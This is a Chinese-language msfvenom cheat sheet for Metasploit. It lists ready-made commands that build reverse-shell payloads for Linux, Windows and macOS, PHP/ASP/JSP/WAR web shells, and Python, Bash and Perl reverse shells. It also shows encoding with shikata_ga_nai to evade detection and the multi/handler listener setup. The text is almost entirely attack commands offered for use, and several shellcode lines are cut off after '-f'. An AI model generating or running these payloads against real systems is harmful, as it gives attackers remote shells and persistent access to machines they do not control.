Msfpayload 模块通常是 Metasploit 最有用的(对初学者来说也是被低估的)能力之一。我们可以使用这个模块创建多个有效载荷,并且利用它在几乎任何情况下都能得到一个shell。
对于每一个载荷(Payload),我们都可以在 msfconsole 中先执行 use exploit/multi/handler,然后使用 set payload 载荷类型 来设置相应的载荷,用 set LHOST IP地址 来设置监听的本地IP地址,用 set LPORT 端口 来设置监听的端口,用 show options 来查看一下并设置好其他必要参数,最后执行 set ExitOnSession false 使后台端口一直处于监听状态,最后执行 exploit -j -z 然后等待目标载荷运行即可。
查看使用帮助
msfvenom -h
生成二进制版
-
Linux 版 Payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f elf > shell.elf
-
Windows 版 Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe > shell.exe
-
MAC 版 Payload
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f macho > shell.macho
生成WEB版
-
PHP 版 Payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d ' ' > shell.php && pbpaste >> shell.php
-
ASP 版 Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f asp > shell.asp
-
JSP 版 Payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f raw > shell.jsp
-
WAR 版 Payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f war > shell.war
生成脚本版
-
Python 版 Payload
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP> LPORT=<Your Port> -f raw > shell.py
-
Bash 版 Payload
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP> LPORT=<Your Port> -f raw > shell.sh
-
Perl 版 Payload
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP> LPORT=<Your Port> -f raw > shell.pl
生成shellcode版
-
Linux Shellcode 版 Payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f
-
Windows Shellcode 版 Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f
-
Mac Shellcode 版 Payload
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f
增加编码
-e x86/shikata_ga_nai -i 3
以上使用的仅为反弹TCP连接的载荷,其他载荷可以通过执行msfvenom -l payloads
命令查看。
查看所有支持的Payload格式可以通过msfvenom --list formats
命令查看。
查看所有编码格式通过msfvenom -l encoders
命令查看。
启动监听处理:
set PAYLOAD <PAYLOAD>
set LHOST <IP>
set LPORT <PORT>
set ExitOnSession false
exploit -j -z
原文出处:https://zijieke.com/d/146